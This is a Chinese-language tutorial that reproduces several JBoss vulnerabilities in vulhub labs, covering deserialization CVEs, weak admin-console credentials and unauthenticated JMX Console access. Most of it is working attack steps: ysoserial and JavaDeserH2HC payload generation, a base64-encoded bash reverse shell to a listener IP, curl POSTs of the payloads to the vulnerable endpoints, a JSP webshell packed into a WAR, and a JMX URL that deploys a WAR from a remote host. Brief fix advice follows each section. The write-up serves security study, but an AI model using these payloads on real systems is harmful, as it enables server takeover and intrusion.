JBoss漏洞复现分析
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
漏洞原理:该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
环境:https://github.com/vulhub/vulhub
访问 /invoker/readonly 返回500,说明页面存在,此页面存在反序列化漏洞。
使用工具JavaDeserH2HC进行攻击
首先使用nc建立一个监听,然后使用工具
#生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口)
#访问利用 POST 二进制数据上去
curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
直接获取到root权限
也可以使用常规Java反序列化漏洞测试方法来复现该漏洞
首先bash -i >& /dev/tcp/192.168.111.128/8888 0>&1进行base64加密后反弹shell的命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoserial来复现生成序列化数据,利用链根据java版本选择,vulnhub环境的java版本较高,所以使用CommonsCollections5
使用nc监听后按顺序输入以下命令
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
curl http://192.168.111.128:8080/invoker/readonly --data-binary @poc.ser
同样能够获取权限
修复建议:
- 删除http-invoker.sar组件,路径如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
- 更新JBoss
JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)
漏洞原理:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTPInvocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
环境:https://github.com/vulhub/vulhub
该漏洞出现在/jbossmq-httpil/HTTPServerILServlet 请求中
因为都是反序列化漏洞,攻击时方式和之前一样,先生成一个序列化数据,然后通过包发送,生成方式一样
#生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口)
#访问利用
curl http://127.0.0.1:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
同样的也可以使用常规Java反序列化漏洞测试方法来复现该漏洞
具体方法和上面一样
使用nc监听后按顺序输入以下命令
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" >poc.ser
curl http://192.168.111.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
漏洞原理:这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响版本:
- JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
- JBoss AS (Wildly) 6 and earlier
- JBoss A-MQ 6.2.0
- JBoss Fuse 6.2.0
- JBoss SOA Platform (SOA-P) 5.3.1
- JBoss Data Grid (JDG) 6.5.0
- JBoss BRMS (BRMS) 6.1.0
- JBoss BPMS (BPMS) 6.1.0
- JBoss Data Virtualization (JDV) 6.1.0
- JBoss Fuse Service Works (FSW) 6.0.0
- JBoss Enterprise Web Server (EWS) 2.1,3.
环境:https://github.com/vulhub/vulhub
访问 /invoker/JMXInvokerServlet
说明接口开放,此接口存在反序列化漏洞
同样这里直接利用CVE-2017-12149生成的ser,发送到 /invoker/JMXInvokerServlet接口中。
curl http://127.0.0.1:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)
影响版本:Jboss 6.x
环境:https://github.com/vulhub/vulhub
访问 /invoker/EJBInvokerServlet
说明接口开放,此接口存在反序列化漏洞
同样这里直接利用CVE-2017-12149生成的ser,发送到 /invoker/EJBInvokerServlet接口中。
curl http://127.0.0.1:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
Administration Console 弱口令 && 后台getshell漏洞
环境:https://github.com/vulhub/vulhub
在后台管理控制台爆破密码http://127.0.0.1:8080/admin-console/index.seam
登陆后台后上传war包,和tomcat的漏洞同理,写好一个jsp木马打包成war文件
jar -cvf shell.war shell.jsp
蚁剑连接http://127.0.0.1:8080/shell/shell.jsp
修复建议:
- 1. 修改密码 C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
- 2. 删除Administration Console页面。
JBoss版本>=6.0,admin-console页面路径为: C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本,路径为C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
JMX Console未授权访问
JMXConsole默认存在未授权访问,直接点击JBoss主页中的JMXConsole链接进入JMXConsole页面。http://127.0.0.1:8080/jmx-console/
在JMXConsole页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer
进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署。
(这里点了invoke会跳到500,所以我直接在url构造上传war包)http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.0.108/shell.war
显示这样就代表上传成功
修复建议:
- 增加密码措施,防止未授权访问。
- 删除JMXConsole,后重启JBoss C:\jboss-6.1.0.Final\common\deploy\jmx-console.war
针对Jboss反序列化网上已经有很多工具了,这里放出来给大家参考https://cdn.vulhub.org/deserialization/DeserializeExploit.jar